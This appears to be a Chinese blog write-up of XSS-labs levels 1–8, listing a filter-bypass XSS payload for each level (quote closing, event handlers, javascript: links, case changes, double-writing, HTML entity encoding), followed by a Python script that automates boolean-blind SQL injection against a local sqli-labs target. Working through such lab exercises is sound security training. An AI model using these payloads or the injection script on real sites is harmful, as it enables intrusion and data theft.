Xss-labs攻关1-8

一、基础知识

Xss原本是Css,但是避免与前端进行冲突,所以称为Xss,一般有三种类型。

1.反射型Xss(前端直接返回)

2.存储型Xss(会存在数据库中)

3.DOM型Xss(前端进行返回,不经过服务器)

二、需求

1.攻关Xss-labs中的1-8关

2.用python代码使用二分法实现自动化的sql布尔盲注

三、具体操作过程

1.确保访问到靶场,打开nginx和MySQL,进行访问靶场。

2.漏洞:Xss漏洞通常在输入信息而导致的,所以在查看name进行输出地位置,修改传入地参数进行破解,输入以下代码进行破解。

复制代码
name=<script>alert(123)</script>

输入刷星得到完成地不错,即可过关。

  1. 在通过靶场的第一关之后,在进行第二关的时候,查看是input的闭合有问题,直接进行input进行闭合。

    '"><script>alert(123)</script>

4.来到第三关的时候, 直接输入xss的通常语句,

复制代码
<script>alert(12)</script>

以上可以看出,可能是闭合引起的,进行闭合的调整。

复制代码
" > <script>alert(12)</script>

可以看出没有找到,使用事件进行突破。

  1. 突破第四关时,先尝试在闭合时候是双引号还是单引号,输入以下进行验证。

    'aaa

由此查看,导引号的闭合是错误的额,使用双引号进行闭合。

复制代码
" aaa

可以知道是双引号及逆行闭合。

估计是做了特殊处理,进行事件来破解。

复制代码
" onclick="alert(1)  

6.攻破第五关的时候,使用之前的代码进行查看,发现找不到, 查看源代码,发现onclick和script都被进行替换,使用链接来进行突破。

复制代码
"><a href="javascript:alert(1)">点击</a>

7. 在进行第六关时,试一试上一关的代码是否可用,发现不可以进行,查看源代码时,发现href进行了替换,使用大小写进行绕过。

复制代码
"><a HREF="javascript:alert(1)">点击</a>

8.在到第七关时候,发现onfocus事件被过滤,使用双写来进行绕过。

复制代码
"oonnfocus="alert(1)"  

9.在进行第八关的时候,发现是一个链接,href会自动解码到Unicode,使用javascript:alert(123)进行测试,不可以,对该进行编码,直接过关。

复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

二分查的代码如下:

复制代码
import requests
# 目标URL
url = "http://localhost/sqli-labs/Less-8/"
# 要推断的数据库信息(例如:数据库名)
database_name = ""
# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
def get_database_length():    # 推断数据库名的长度
    length = 0
    while True:
        length += 1
        payload = f"1' AND (SELECT length(database()) = {length}) -- "
        response = requests.get(url, params={"id": payload})
        if "You are in..........." in response.text:
            return length
        if length > 50:  # 防止无限循环
            break
    return 0
# 使用二分查找推断数据库名
def get_database_name(length):
    db_name = ""
    for i in range(1, length + 1):
        left, right = 0, len(charset) - 1
        while left <= right:
            mid = (left + right) // 2
            char = charset[mid]
            payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "
            response = requests.get(url, params={"id": payload})
            if "You are in" in response.text:
                left = mid + 1
            else:
                right = mid - 1
        db_name += charset[right]
    return db_name
# 主函数
if __name__ == "__main__":
    length = get_database_length()
    if length > 0:
        print(f"数据库名长度: {length}")
        db_name = get_database_name(length)
        print(f"数据库名: {db_name}")
    else:
        print("无法确定数据库长度。")

结果如下;

复制代码
数据库名长度: 8
数据库名: security
相关推荐
帧栈4 小时前
开发避坑指南(27):Vue3中高效安全修改列表元素属性的方法
前端·vue.js
max5006004 小时前
基于桥梁三维模型的无人机检测路径规划系统设计与实现
前端·javascript·python·算法·无人机·easyui
excel4 小时前
使用函数式封装绘制科赫雪花(Koch Snowflake)
前端
萌萌哒草头将军5 小时前
Node.js v24.6.0 新功能速览 🚀🚀🚀
前端·javascript·node.js
持久的棒棒君6 小时前
启动electron桌面项目控制台输出中文时乱码解决
前端·javascript·electron
小离a_a7 小时前
使用原生css实现word目录样式,标题后面的...动态长度并始终在标题后方(生成点线)
前端·css
郭优秀的笔记8 小时前
抽奖程序web程序
前端·css·css3
布兰妮甜8 小时前
CSS Houdini 与 React 19 调度器:打造极致流畅的网页体验
前端·css·react.js·houdini
小小愿望8 小时前
ECharts 实战技巧:揭秘 X 轴末项标签 “莫名加粗” 之谜及破解之道
前端·echarts
小小愿望9 小时前
移动端浏览器中设置 100vh 却出现滚动条?
前端·javascript·css